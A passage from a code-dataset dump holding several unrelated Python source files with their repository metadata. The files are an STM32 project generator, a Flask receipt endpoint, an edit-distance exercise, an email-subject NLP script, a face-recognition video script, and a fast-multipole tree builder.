SUCH DAMAGE.\r\n'''\r\n\r\nimport time\r\nfrom os import listdir\r\nfrom os.path import join, exists\r\nfrom shutil import copyfile\r\nfrom colorama import Fore\r\n\r\ndef ERROR(s):\r\n    print(Fore.RED + \"[ERROR]\", s)\r\n    time.sleep(.1)\r\n    exit(-1) \r\n\r\ndef create_linker_script(env):\r\n    print('create_linker()')\r\n    dir = join(env.framework_dir, 'Drivers', 'LD')\r\n    tmp = join(dir, '_FLASH.ld' )\r\n    if not exists( tmp ):\r\n        ERROR(\"This template '_FLASH.ld' not exists !!!\")\r\n    f = open(tmp, 'r')\r\n    txt = f.read(); \r\n    txt = txt.replace('%stack%', 'ORIGIN(RAM) + LENGTH(RAM)')\r\n    ram_size = env.BoardConfig().get('upload.maximum_ram_size')\r\n    rom_size = env.BoardConfig().get('upload.maximum_size')\r\n    txt = txt.replace('FLASH (rx)      : ORIGIN = null, LENGTH = 0K', \r\n        'FLASH (rx)  : ORIGIN = 0x%08X, LENGTH = 0x%X' % ( 0x8000000, rom_size ) )\r\n    txt = txt.replace('RAM (xrw)      : ORIGIN = null, LENGTH = 0K', \r\n        'RAM (xrw)   : ORIGIN = 0x%08X, LENGTH = 0x%X' % ( 0x20000000, ram_size ) )\r\n    f = open( join(env.subst('$PROJECT_DIR'), 'stm', '%s_FLASH.ld' % env.MCU ), 'w' )\r\n    f.write( txt )\r\n\r\ndef create_hal_config(env):\r\n    print('create_hal_config()')\r\n    # Drivers/STM32L0xx_HAL_Driver/Inc/stm32l0xx_hal_conf_template.h\r\n    file = '%sxx_hal_conf_template.h' % env.DIV.lower()\r\n    tmp = join( env.framework_dir, 'Drivers', '%sxx_HAL_Driver' % env.DIV.upper(), 'Inc', file )\r\n    print(tmp)\r\n    if not exists( tmp ):\r\n        ERROR(\"Template '%s' not exists !!!\" % file)\r\n    file = file.replace('_template', '')\r\n    copyfile( tmp,  join( env.subst('$PROJECT_DIR') , 'stm', file ) )\r\n\r\ndef CreateProject(env):\r\n    stm = join( env.subst('$PROJECT_DIR') , 'stm' )\r\n    if not exists( stm ):\r\n        ERROR(\"The 'Project/stm' folder not exists !!!\")\r\n        pass\r\n    if listdir( stm ):\r\n        ERROR(\"The 'Project/stm' folder is not empty !!!\")\r\n        pass\r\n\r\n    print(env.DIV)\r\n    print(env.SUB)\r\n    print(env.MCU)\r\n\r\n    ### LINKER\r\n    dir = join(env.framework_dir, 'Drivers', 'LD')\r\n    print( join(dir, '%s_FLASH.ld' % env.MCU ) )\r\n    if exists( join(dir, '%s_FLASH.ld' % env.MCU ) ):\r\n        print( 'LD' )\r\n        # TODO COPY Drivers/LD/ '%s_FLASH.ld' % env.MCU\r\n    else: \r\n        create_linker_script(env)\r\n\r\n    ### COPY: Drivers/CMSIS/Device/ST/STM32L0xx/Source/Templates/system_stm32l0xx.c\r\n    copyfile( \r\n        join( env.framework_dir, 'Drivers', 'CMSIS', 'Device', 'ST', env.DIV + 'xx', 'Source', 'Templates', 'system_%sxx.c' % env.DIV.lower()), \r\n        join( stm, 'system_%sxx.c' % env.DIV.lower() )       \r\n    )\r\n\r\n    ### COPY: Drivers/CMSIS/Device/ST/STM32L0xx/Source/Templates/gcc/startup_stm32l051xx.s\r\n    copyfile( \r\n        join( env.framework_dir, 'Drivers', 'CMSIS', 'Device', 'ST', env.DIV + 'xx', 'Source', 'Templates', 'gcc', 'startup_%s.s' % env.SUB.lower()), \r\n        join( stm, 'startup_%s.S' % env.SUB.lower() )       \r\n    )\r\n\r\n    ### EDIT: Drivers/STM32L0xx_HAL_Driver/Inc/stm32l0xx_hal_conf_template.h\r\n    create_hal_config(env)\r\n\r\n    with open(join( env.subst('$PROJECT_DIR'), 'src', 'board.c' ), 'w') as w: \r\n        w.write('''\r\n/*\r\n ******************************************************************************\r\n *\r\n * Copyright (c) 2023 WizIO.\r\n * All rights reserved.\r\n *\r\n * This software is licensed under terms that can be found in the LICENSE file\r\n * in the root directory of this software component.\r\n * If no LICENSE file comes with this software, it is provided AS-IS.\r\n *\r\n ******************************************************************************\r\n*/ \r\n\r\n#include \"%sxx_hal.h\"\r\n\r\nvoid __attribute__((weak)) _init(void) { }      \r\n\r\n#if 0 /* for printf */\r\nint __attribute__((weak)) _write(int file, char *ptr, int len)\r\n{\r\n  for (int i = 0; i < len; i++)\r\n    HAL_UART_Transmit(&huart_x, (const uint8_t *)ptr++, 1, -1);\r\n  return len;\r\n  // setvbuf(stdout, NULL, _IONBF, 0); // at uart init\r\n}\r\n#endif\r\n\r\n///////////////////////////////////////////////////////////////////////////////\r\n\r\nstatic void SystemClock_Config(void)\r\n{\r\n    // USER INIT\r\n}\r\n\r\nvoid board_config(void)\r\n{\r\n    HAL_Init();\r\n    SystemClock_Config();\r\n\r\n    // HAL INIT OTHER\r\n}\r\n\r\n'''  % env.DIV.lower() )\r\n\r\n    with open(join( env.subst('$PROJECT_DIR'), 'src', 'main.c' ), 'w') as w: w.write(\r\n'''\r\n/*\r\n ******************************************************************************\r\n *\r\n * Copyright (c) 2023 WizIO.\r\n * All rights reserved.\r\n *\r\n * This software is licensed under terms that can be found in the LICENSE file\r\n * in the root directory of this software component.\r\n * If no LICENSE file comes with this software, it is provided AS-IS.\r\n *\r\n ******************************************************************************\r\n*/\r\n\r\n#include \"%sxx_hal.h\"\r\nvoid board_config(void);\r\n\r\nint main(void)\r\n{\r\n    board_config();\r\n\r\n    while (1)\r\n    {\r\n    \r\n    }\r\n}\r\n''' % env.DIV.lower() )","repo_name":"Wiz-IO/wizio-stm","sub_path":"builder/tmp.py","file_name":"tmp.py","file_ext":"py","file_size_in_byte":6385,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"16"}
+{"seq_id":"70624225290","text":"\r\nfrom flask import Blueprint, app, request, jsonify\r\nfrom models.comprobantes import Comprobante\r\nimport json\r\nfrom middlewares.validar_token import validate_token\r\n\r\n\r\nroute_comprobante = Blueprint('route_comprobante', __name__)\r\n\r\n\r\n@route_comprobante.route('/comprobante/listar', methods=['POST'])\r\n@validate_token\r\ndef listar():\r\n    if request.method == 'POST':\r\n        id_usuario = request.form['id_usuario']\r\n        objProd = Comprobante()\r\n        rptaJson = objProd.listarComprobante(id_usuario)\r\n        datos_comprobante = json.loads(rptaJson)\r\n        print(datos_comprobante)\r\n        return jsonify(datos_comprobante), 200\r\n","repo_name":"Crowllex/intelect_web_service","sub_path":"controllers/comprobantes.py","file_name":"comprobantes.py","file_ext":"py","file_size_in_byte":641,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"34177733137","text":"from zad1ktesty import runtests\n\ndef recursive(s,t,m,n,steps):\n    if m == -1 or n == -1:\n        return steps + 1 + max(n,m)\n\n    if s[m] == t[n]:\n        return recursive(s,t,m-1,n-1,steps)\n    else:\n        return min(recursive(s,t,m-1,n-1,steps+1),recursive(s,t,m-1,n,steps+1),recursive(s,t,m,n-1,steps+1))\n\ndef napraw ( s, t ):\n    F = [[0 for _ in range(len(s))] for __ in range(len(t))]\n    for i in range(len(s)):\n        for j in range(len(t)):\n            if t[j] != s[i]:\n                insert_cost = 0\n                delete_cost = 0\n                replace_cost = 0\n                if j == 0:\n                    insert_cost = 2 + i\n                    replace_cost = 1 + i\n                else:\n                    insert_cost = 1 + F[j-1][i]\n\n\n                if i == 0:\n                    delete_cost = 2 + j\n                    replace_cost = 1 + j\n                else:\n                    delete_cost = 1 + F[j][i-1]\n\n                if i != 0 and j != 0:\n                    replace_cost = 1 + F[j-1][i-1]\n\n                F[j][i] = min(replace_cost,delete_cost,insert_cost)\n            else:\n                if j != 0 and i != 0:\n                    F[j][i] = F[j-1][i-1]\n                elif i == 0:\n                    F[j][i] = j\n                elif j == 0:\n                    F[j][i] = i\n\n    print(s,t)\n\n    return F[len(t) - 1][len(s) - 1]\n\n    #return recursive(s,t,len(s)-1,len(t)-1,0)\n\nruntests ( napraw )\n","repo_name":"norm4nn/1Y-2T","sub_path":"BIT ALGO/dynamic_programming/ex8/sol.py","file_name":"sol.py","file_ext":"py","file_size_in_byte":1440,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"22902966668","text":"import csv\r\nimport email\r\nimport nltk\r\nimport os\r\nimport nltk\r\nfrom nltk.tokenize import PunktSentenceTokenizer\r\nfrom nltk.tokenize import RegexpTokenizer\r\nimport time as t\r\nmytokenizer=RegexpTokenizer('\\w+')\r\n\r\ndef select_bid_names(fnames):\r\n    with open(fnames) as f:\r\n        try:\r\n            a=[key[1] for key in email.message_from_string(f.read()).items() if key[0]==\"Subject\" ]\r\n        except:\r\n            return ''\r\n        return a[0] if a else ''\r\n\r\ndef get_named_entity(subjects):\r\n    for sentences in subjects:\r\n        all_valid_subject=[]\r\n        if sentences:\r\n            words=mytokenizer.tokenize(sentences)\r\n            tagged=nltk.pos_tag(words)\r\n            namedEnt=nltk.ne_chunk(tagged,binary=True)\r\n            for tuples in namedEnt:\r\n                try:\r\n                    if tuples[1]==\"NNP\"or tuples[1]==\"NNS\" or tuples[1]==\"NC\":\r\n                        if type(tuples[0]=='str'):\r\n                            all_valid_subject.append(tuples[0])\r\n                        \r\n                except:\r\n                        for items in tuples[0]:\r\n                            if items==\"Fwd\" or items==\"Request\" or items==\"NNP\" or items==\"Bid\" or items==\"NN\" or items==\"JJ\":\r\n                                pass\r\n                            else:\r\n                                all_valid_subject.append(items)\r\n                                \r\n            return[' '.join(x for x in  all_valid_subject),1]\r\n        else:\r\n            return None\r\n\r\n\r\n            \r\ndef write_in_csv(rows):\r\n     with open(\"C:/Users/3301/Desktop/Files/bid_names.csv\",\"a+\") as my_csv_writer:\r\n        writer=csv.writer(my_csv_writer)\r\n        writer.writerow(rows)\r\n\r\n\r\nif __name__=='__main__':\r\n    fieldnames=[\"Bid_Names\",\"Labels\"]\r\n    with open(\"C:/Users/3301/Desktop/Files/bid_names.csv\",\"w\") as my_csv_writer:\r\n        writer=csv.DictWriter(my_csv_writer,fieldnames=fieldnames)\r\n        writer.writeheader()\r\n\r\n    subjects,csvwriter=[],[]\r\n    for fnames in os.listdir('C:/Users/3301/Desktop/Files/Test_Data'):\r\n        fnames='C:/Users/3301/Desktop/Files/Test_Data/'+ fnames\r\n        subjects.append(select_bid_names(fnames))\r\n        rv=get_named_entity(subjects)\r\n        if rv and rv[0]:\r\n            csvwriter.append(rv)\r\n        subjects.pop(0)\r\n    for rows in csvwriter:\r\n        write_in_csv(rows)","repo_name":"clr-s/Deskjobs","sub_path":"bid_name_scraper.py","file_name":"bid_name_scraper.py","file_ext":"py","file_size_in_byte":2334,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"4566353105","text":"# import the necessary packages\nimport face_recognition\nimport argparse\nimport imutils\nimport pickle\nimport time\nimport cv2\nimport sys\n\ndef progress(count,total,status=''):\n\tbar_len = 60\n\tfilled_len = int(round(bar_len * count / float(total)))\n\n\tpercents = round(100.0 * count / float(total),1)\n\tbar = '=' * filled_len + '-' * (bar_len-filled_len)\n\n\tsys.stdout.write('[%s] %s%s ...%s\\r' % (bar, percents, '%', status))\n\tsys.stdout.flush()\n# construct the argument parser and parse the arguments\nap = argparse.ArgumentParser()\nap.add_argument(\"-e\", \"--encodings\", required=True,\n\thelp=\"path to serialized db of facial encodings\")\nap.add_argument(\"-i\", \"--input\", required=True,\n\thelp=\"path to input video\")\nap.add_argument(\"-o\", \"--output\", type=str,\n\thelp=\"path to output video\")\nap.add_argument(\"-d\", \"--detection-method\", type=str, default=\"cnn\",\n\thelp=\"face detection model to use: either `hog` or `cnn`\")\nargs = vars(ap.parse_args())\n\n# load the known faces and embeddings\nprint(\"[INFO] loading encodings...\")\ndata = pickle.loads(open(args[\"encodings\"], \"rb\").read())\n# initialize the video stream and pointer to output video file, then\n# allow the camera sensor to warm up\nvs = cv2.VideoCapture(args[\"input\"])\nwriter = None\n(W, H) = (None, None)\n\n# try to determine the total number of frames in the video file\ntry:\n\tprop = cv2.cv.CV_CAP_PROP_FRAME_COUNT if imutils.is_cv2() \\\n\t\telse cv2.CAP_PROP_FRAME_COUNT\n\ttotal = int(vs.get(prop))\n\tprint(\"[INFO] {} total frames in video\".format(total))\n# an error occurred while trying to determine the total\n# number of frames in the video file\nexcept:\n\tprint(\"[INFO] could not determine # of frames in video\")\n\tprint(\"[INFO] no approx. completion time can be provided\")\n\ttotal = -1\n\n# loop over frames from the video file stream\ncnt = 0\nwhile True:\n\t# read the next frame from the file\n\t(grabbed, frame) = vs.read()\n\t# if the frame was not grabbed, then we have reached the end\n\t# of the stream\n\tif not grabbed:\n\t\tbreak\n\t# if the frame dimensions are empty, grab them\n\tif W is None or H is None:\n\t\t(H, W) = frame.shape[:2]\n\tcnt += 1\n\t# convert the input frame from BGR to RGB then resize it to have\n\t# a width of 750px (to speedup processing)\n\trgb = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)\n\trgb = imutils.resize(frame, width=750)\n\tr = frame.shape[1] / float(rgb.shape[1])\n\n\t# detect the (x, y)-coordinates of the bounding boxes\n\t# corresponding to each face in the input frame, then compute\n\t# the facial embeddings for each face\n\tboxes = face_recognition.face_locations(rgb,\n\t\tmodel=args[\"detection_method\"])\n\tencodings = face_recognition.face_encodings(rgb, boxes)\n\tnames = []\n\n# loop over the facial embeddings\n\tfor encoding in encodings:\n\t\t# attempt to match each face in the input image to our known\n\t\t# encodings\n\t\tmatches = face_recognition.compare_faces(data[\"encodings\"],\n\t\t\tencoding)\n\t\tname = \"Unknown\"\n\t\t# check to see if we have found a match\n\t\tif True in matches:\n\t\t\t# find the indexes of all matched faces then initialize a\n\t\t\t# dictionary to count the total number of times each face\n\t\t\t# was matched\n\t\t\tmatchedIdxs = [i for (i, b) in enumerate(matches) if b]\n\t\t\tcounts = {}\n\t\t\t# loop over the matched indexes and maintain a count for\n\t\t\t# each recognized face face\n\t\t\tfor i in matchedIdxs:\n\t\t\t\tname = data[\"names\"][i]\n\t\t\t\tcounts[name] = counts.get(name, 0) + 1\n\t\t\t# determine the recognized face with the largest number\n\t\t\t# of votes (note: in the event of an unlikely tie Python\n\t\t\t# will select first entry in the dictionary)\n\t\t\tname = max(counts, key=counts.get)\n\t\t\n\t\t# update the list of names\n\t\tnames.append(name)\n\n# loop over the recognized faces\n\tfor ((top, right, bottom, left), name) in zip(boxes, names):\n\t\t# rescale the face coordinates\n\t\ttop = int(top * r)\n\t\tright = int(right * r)\n\t\tbottom = int(bottom * r)\n\t\tleft = int(left * r)\n\t\t# draw the predicted face name on the image\n\t\tcv2.rectangle(frame, (left, top), (right, bottom),\n\t\t\t(0, 255, 0), 2)\n\t\ty = top - 15 if top - 15 > 15 else top + 15\n\t\tcv2.putText(frame, name, (left, y), cv2.FONT_HERSHEY_SIMPLEX,\n\t\t\t0.75, (0, 255, 0), 2)\n\n# if the video writer is None *AND* we are supposed to write\n\t# the output video to disk initialize the writer\n\tif writer is None and args[\"output\"] is not None:\n\t\tfourcc = cv2.VideoWriter_fourcc(*\"MJPG\")\n\t\twriter = cv2.VideoWriter(args[\"output\"], fourcc, 20,\n\t\t\t(frame.shape[1], frame.shape[0]), True)\n\t# if the writer is not None, write the frame with recognized\n\t# faces to disk\n\tif writer is not None:\n\t\twriter.write(frame)\n\n\tprogress(cnt, total)\n\n# do a bit of cleanup\ncv2.destroyAllWindows()\nvs.stop()\n# check to see if the video writer point needs to be released\nif writer is not None:\n\twriter.release()","repo_name":"New-Byte/ObjectDetection","sub_path":"face_reconition_video.py","file_name":"face_reconition_video.py","file_ext":"py","file_size_in_byte":4669,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"56831630","text":"\"\"\"\ncommon utility functions for the fsp example scripts\n\"\"\"\n\ndef plot_solution_and_domain(measurement, domains):\n    \"\"\"\n    displays plots of the solution and the domain at various times\n    \n    used by the three three fsp example scripts\n    \"\"\"\n    import pylab\n    # plot the solution\n    shape = (41, 41)\n    for i, (t, distribution) in enumerate(zip(measurement.times, measurement.distributions)):\n        pylab.subplot(3, 3, i + 1)\n        dense_distribution = distribution.to_dense(shape)\n        pylab.imshow(\n            dense_distribution,\n            interpolation = 'nearest',\n            origin = 'lower'\n        )\n    pylab.figure()\n    # plot the states in the domain\n    for i, (t, domain) in enumerate(zip(measurement.times, domains)):\n        pylab.subplot(3, 3, i + 1)\n        domain_x, domain_y = domain\n        pylab.scatter(domain_x, domain_y, marker = 'o', c = 'k', s = 6)\n        pylab.xlim(0, 45)\n        pylab.ylim(0, 45)\n    pylab.show()\n","repo_name":"hegland/cmepy","sub_path":"examples/fsp_example_util.py","file_name":"fsp_example_util.py","file_ext":"py","file_size_in_byte":968,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"16"}
+{"seq_id":"26009427271","text":"import KBEngine\nfrom KBEDebug import *\n\nclass Room(KBEngine.Base):\n\t\"\"\"Room 房间实体\"\"\"\n\tdef __init__(self):\n\t\tsuper(Room, self).__init__()\n\t\tself.createInNewSpace(None)\n\t\tself.players = {}\n\n\tdef enterRoom(self, account):\n\t\tprint(\"base enterRoom: %d\" % (account.id))\n\t\taccount.createCell(self.cell)\n\t\tself.players[account.id] = account\n\t\tself.cell.onEnter(account)","repo_name":"xinhuotao/DouDiZhu_KBE","sub_path":"assets/scripts/base/Room.py","file_name":"Room.py","file_ext":"py","file_size_in_byte":368,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"2857936706","text":"import numpy as np\nfrom boxtree.fmm3d.fortran import pts_tree_sort\nfrom collections import deque\n\n_child_mapping = [1, 5, 3, 7, 2, 6, 4, 8]\n_child_mapping_inv = [0, 4, 2, 6, 1, 5, 3, 7]\n\n\ndef _get_child_number(dirs):\n    # https://github.com/flatironinstitute/FMM3D/blob/6e3add2a8fb7cfc2b6b723975ff36f2adea48e28/src/Common/pts_tree3d.f#L727-L734\n    num = int(\"\".join([str(int(dir)) for dir in dirs]), 2)\n    return _child_mapping[num]\n\n\ndef _get_child_dir(num):\n    bin_rep = format(_child_mapping_inv[num - 1], \"03b\")\n    return np.array([1.0 if b == \"1\" else -1.0 for b in bin_rep],\n                    dtype=np.double)\n\n\ndef fmm3d_tree_build(tree, trav):\n    # src/Laplace/lfmm3d.f L213-L240\n    nlevels = tree.nlevels - 1\n    nboxes_pruned = tree.nboxes\n\n    # box_levels_pruned = tree.box_levels\n    box_parent_ids_pruned = tree.box_parent_ids\n    box_child_ids_pruned = tree.box_child_ids[:, :nboxes_pruned]\n    coll_starts_pruned = trav.colleagues_starts\n    coll_lists_pruned = trav.colleagues_lists\n    box_centers_pruned = tree.box_centers[:, :nboxes_pruned]\n    # level_start_box_nrs_pruned = tree.level_start_box_nrs\n\n    box_id_mapping = np.zeros_like(box_parent_ids_pruned)\n\n    boxsize = np.zeros(nlevels + 1, dtype=np.double)\n    boxsize[0] = tree.root_extent\n    for i in range(nlevels):\n        boxsize[i + 1] = boxsize[i] / 2\n\n    new_box_counter = 0\n    box_id_mapping[0] = 0\n    level_start_box_nrs = np.ones(nlevels + 2, dtype=np.int32) * -1\n\n    box_levels = [0]\n    box_parent_ids = [0]\n    box_child_ids = [[0]*8]\n    box_centers = [box_centers_pruned[:, 0]]\n    id_to_pruned_id_mapping = [0]\n    pruned_id_to_id_mapping = np.zeros(nboxes_pruned, dtype=np.int32)\n\n    box_id = 0\n    while box_id <= new_box_counter:\n        level = box_levels[box_id]\n        center = box_centers[box_id]\n        child_nums = []\n        have_children = False\n        pruned_id = id_to_pruned_id_mapping[box_id]\n\n        if pruned_id != -1:\n            # if this box is not in the prune tree, it doesn't have children\n            for child_id in box_child_ids_pruned[:, pruned_id]:\n                if child_id != 0:\n                    center_child = box_centers_pruned[:, child_id]\n                    dirs = [center[j] - center_child[j] <= 0 for j in range(3)]\n                    child_num = _get_child_number(dirs)\n                    child_nums.append(child_num)\n                    new_child_id = new_box_counter + child_num\n                    if len(id_to_pruned_id_mapping) <= new_child_id:\n                        id_to_pruned_id_mapping.extend(\n                            [-1]*(new_child_id + 1 -\n                                  len(id_to_pruned_id_mapping)))\n                    id_to_pruned_id_mapping[new_child_id] = child_id\n                    pruned_id_to_id_mapping[child_id] = new_child_id\n                    have_children = True\n\n        if have_children:\n            box_levels.extend([level + 1]*8)\n            box_parent_ids.extend([box_id]*8)\n            for j in range(8):\n                child_center = center + \\\n                        _get_child_dir(j + 1) * boxsize[level + 1]/2\n                child_id = new_box_counter + j + 1\n                box_centers.append(child_center)\n                box_child_ids.append([0]*8)\n            box_child_ids[box_id] = list(range(new_box_counter + 1,\n                                         new_box_counter + 9))\n            new_box_counter += 8\n            if len(id_to_pruned_id_mapping) <= new_box_counter:\n                id_to_pruned_id_mapping.extend(\n                    [-1]*(new_box_counter + 1 - len(id_to_pruned_id_mapping)))\n\n        if level_start_box_nrs[level] == -1:\n            level_start_box_nrs[level] = box_id\n\n        box_id += 1\n\n    nboxes = new_box_counter + 1\n    level_start_box_nrs[nlevels + 1] = nboxes\n\n    box_centers = np.asfortranarray(np.array(box_centers).T)\n    box_child_ids = np.asfortranarray(np.array(box_child_ids).T)\n    box_parent_ids = np.array(box_parent_ids)\n    box_levels = np.array(box_levels)\n\n    iptr = np.zeros(8, dtype=np.int64)\n    iptr[0] = 1\n    iptr[1] = 2*(nlevels+1) + 1\n    iptr[2] = iptr[1] + nboxes\n    iptr[3] = iptr[2] + nboxes\n    iptr[4] = iptr[3] + nboxes\n    iptr[5] = iptr[4] + 8*nboxes\n    iptr[6] = iptr[5] + nboxes\n    iptr[7] = iptr[6] + 27*nboxes\n\n    ltree = iptr[7] - 1\n    assert ltree == 39*nboxes + 2*(nlevels+1)\n\n    itree = np.zeros(ltree, dtype=np.int32)\n\n    for i in range(nlevels + 1):\n        # first box for ith level\n        itree[2*i] = level_start_box_nrs[i] + 1\n        # last box for ith level\n        itree[2*i + 1] = level_start_box_nrs[i + 1]\n\n    # level of the boxes\n    itree[iptr[1] - 1:iptr[2] - 1] = box_levels\n\n    # parent of the boxes\n    itree[iptr[2] - 1:iptr[3] - 1] = box_parent_ids + 1\n    itree[iptr[2] - 1] = -1   # for box 0, set -1\n\n    # number of childs of boxes\n    itree[iptr[3] - 1:iptr[4] - 1] = np.count_nonzero(box_child_ids, axis=0)\n\n    # child ids of boxes\n    itree[iptr[4] - 1:iptr[5] - 1] = -1\n    for i in range(nboxes):\n        child_boxes = box_child_ids[:, i]\n        non_zero_child_boxes = child_boxes[np.nonzero(child_boxes)]\n        istart = iptr[4] + 8*i - 1\n        itree[istart:istart + len(non_zero_child_boxes)] = \\\n            non_zero_child_boxes + 1\n\n    # ncolleagues\n    itree[iptr[5] - 1:iptr[6] - 1] = 0\n    # icolleagues\n    itree[iptr[6] - 1:iptr[7] - 1] = -1\n    if 0:\n        for i in range(nboxes):\n            pruned_id = id_to_pruned_id_mapping[i]\n            if pruned_id != -1:\n                coll_start = coll_starts_pruned[pruned_id]\n                coll_end = coll_starts_pruned[pruned_id + 1]\n                colls = pruned_id_to_id_mapping[\n                        coll_lists_pruned[coll_start:coll_end]] + 1\n                colls = np.sort(np.append(colls, [i + 1]))\n            else:\n                colls = []\n            istart = iptr[6] + 27*i - 1\n            itree[istart:istart+len(colls)] = colls\n            itree[iptr[5] - 1 + i] = len(colls)\n    else:\n        icolleagues, ncolleagues = compute_colleagues(\n                nboxes, box_parent_ids, box_child_ids,\n                box_centers, box_levels, boxsize)\n        itree[iptr[5] - 1:iptr[6] - 1] = ncolleagues\n        itree[iptr[6] - 1:iptr[7] - 1] = icolleagues.reshape(-1) + 1\n\n    nexpc = 0\n    expc = np.zeros((3, nexpc), dtype=np.double, order='F')\n\n    source = np.array([row for row in tree.sources], order='F')\n    nsource = source.shape[1]\n\n    targ = np.array([row for row in tree.targets], order='F')\n    ntarg = targ.shape[1]\n\n    if tree.sources_are_targets:\n        targ = np.zeros((3, 0), order='F')\n        ntarg = 0\n\n    treecenters = np.asfortranarray(box_centers)\n    \"\"\"\n    from boxtree.fmm3d.fortran import pts_tree_build, pts_tree_mem\n    nlevels_ref = np.array([0], dtype=np.int32)\n    nboxes_ref = np.array([0], dtype=np.int32)\n    ltree_ref = np.array([0], dtype=np.int64)\n\n    ndiv=40\n\n    pts_tree_mem(\n        src=source,\n        ns=nsource,\n        targ=targ,\n        nt=ntarg,\n        idivflag=0,\n        ndiv=ndiv,\n        nlmin=0,\n        nlmax=51,\n        ifunif=0,\n        iper=1,\n        nlevels=nlevels_ref,\n        nboxes=nboxes_ref,\n        ltree=ltree_ref)\n\n    print(nboxes, nboxes_ref[0])\n    nboxes = nboxes_ref[0]\n    nlevels = nlevels_ref[0]\n    ltree = ltree_ref[0]\n    assert nboxes == nboxes_ref[0]\n    assert nlevels == nlevels_ref[0]\n    assert ltree == ltree_ref[0]\n\n    itree_ref = np.zeros(ltree, dtype=np.int32)\n    iptr_ref = np.zeros(8, dtype=np.int64)\n    treecenters_ref = np.zeros((3, nboxes), dtype=np.double, order='F')\n    boxsize_ref = np.zeros(nlevels + 1, dtype=np.double)\n\n    pts_tree_build(\n        src=source,\n        ns=nsource,\n        targ=targ,\n        nt=ntarg,\n        idivflag=0,\n        ndiv=ndiv,\n        nlmin=0,\n        nlmax=51,\n        ifunif=0,\n        iper=1,\n        nlevels=nlevels,\n        nboxes=nboxes,\n        ltree=ltree,\n        itree=itree_ref,\n        iptr=iptr_ref,\n        centers=treecenters_ref,\n        boxsize=boxsize_ref)\n\n    print(itree[iptr[5] - 1:iptr[6] - 1])\n    print(itree_ref[iptr_ref[5] - 1:iptr_ref[6] - 1])\n\n    treecenters = treecenters_ref\n    boxsize = boxsize_ref\n    itree = itree_ref\n    iptr = iptr_ref\n    \"\"\"\n\n    isrc = np.zeros(nsource, dtype=np.int32)\n    itarg = np.zeros(ntarg, dtype=np.int32)\n    iexpc = np.zeros(1, dtype=np.int32)\n\n    isrcse = np.zeros((2, nboxes), dtype=np.int32, order='F')\n    itargse = np.zeros((2, nboxes), dtype=np.int32, order='F')\n    iexpcse = np.zeros((2, nboxes), dtype=np.int32, order='F')\n\n    pts_tree_sort_kwargs = dict(\n        itree=itree,\n        ltree=ltree,\n        nboxes=nboxes,\n        nlevels=nlevels,\n        iptr=iptr,\n        centers=treecenters,\n    )\n\n    if 1:\n        isrc, isrcse = pts_tree_sort2(\n                nsource, tree, trav,\n                id_to_pruned_id_mapping, nboxes, box_child_ids,\n                is_source=True)\n        if ntarg > 0:\n            itarg, itargcse = pts_tree_sort2(\n                ntarg, tree, trav,\n                id_to_pruned_id_mapping, nboxes, box_child_ids,\n                is_source=False)\n    else:\n        pts_tree_sort(n=nsource, xys=source, ixy=isrc, ixyse=isrcse,\n                      **pts_tree_sort_kwargs)\n\n        if ntarg > 0:\n            pts_tree_sort(n=ntarg, xys=targ, ixy=itarg, ixyse=itargse,\n                          **pts_tree_sort_kwargs)\n\n    pts_tree_sort(n=nexpc, xys=expc, ixy=iexpc, ixyse=iexpcse,\n                  **pts_tree_sort_kwargs)\n\n    return itree, ltree, iptr, treecenters, boxsize, \\\n        source, nsource, targ, ntarg, expc, nexpc, \\\n        isrc, itarg, iexpc, isrcse, itargse, iexpcse, \\\n        nlevels, nboxes\n\n\ndef compute_colleagues(nboxes, box_parent_ids, box_child_ids, box_centers,\n                       box_levels, boxsizes):\n    icolleagues = np.ones((nboxes, 27), dtype=np.int32) * -2\n    ncolleagues = np.ones(nboxes, dtype=np.int32)\n\n    icolleagues[0, 0] = 0\n\n    if nboxes >= 1:\n        icolleagues[1:9, :8] = np.arange(1, 9)\n        ncolleagues[1:9] = 8\n\n    for box_id in range(9, nboxes):\n        parent_id = box_parent_ids[box_id]\n        center = box_centers[:, box_id]\n        level = box_levels[box_id]\n        boxsize = boxsizes[level]\n        count_coll = 0\n        for i in range(ncolleagues[parent_id]):\n            parent_colleague_id = icolleagues[parent_id, i]\n            for j in range(8):\n                cousin_id = box_child_ids[j, parent_colleague_id]\n                if cousin_id == 0:\n                    continue\n                cousin_center = box_centers[:, cousin_id]\n                diff = np.abs(center - cousin_center)\n                if (diff < 1.05 * boxsize).all():\n                    icolleagues[box_id, count_coll] = cousin_id\n                    count_coll += 1\n        ncolleagues[box_id] = count_coll\n    return icolleagues, ncolleagues\n\n\ndef pts_tree_sort2(n, tree, trav, id_to_pruned_id_mapping, nboxes,\n                   box_child_ids, is_source):\n    ixy = np.zeros(n, dtype=np.int32)\n    ixyse = np.zeros((2, nboxes), dtype=np.int32)\n    box_depth_first_ordering = np.zeros(nboxes, dtype=np.int32) * (-1)\n\n    boxes_stack = deque()\n    boxes_stack.append(0)\n\n    i = 0\n    while len(boxes_stack) > 0:\n        current_box = boxes_stack.pop()\n        box_depth_first_ordering[i] = current_box\n        i = i + 1\n        children = box_child_ids[:, current_box]\n        for child_id in reversed(children):\n            if child_id != 0:\n                boxes_stack.append(child_id)\n\n    if is_source:\n        box_starts = tree.box_source_starts\n        box_counts_cumul = tree.box_source_counts_cumul\n        box_counts_nonchild = tree.box_source_counts_nonchild\n    else:\n        box_starts = tree.box_target_starts\n        box_counts_cumul = tree.box_target_counts_cumul\n        box_counts_nonchild = tree.box_target_counts_nonchild\n\n    count = 1\n    for box_id in box_depth_first_ordering:\n        box_pruned_id = id_to_pruned_id_mapping[box_id]\n        if box_pruned_id == -1:\n            ixyse[:, box_id] = [count + 1, count]\n        else:\n            npoints = box_counts_cumul[box_pruned_id]\n            ixyse[:, box_id] = [count, count + npoints - 1]\n            npoints_nonchild = box_counts_nonchild[box_pruned_id]\n            point_starts = 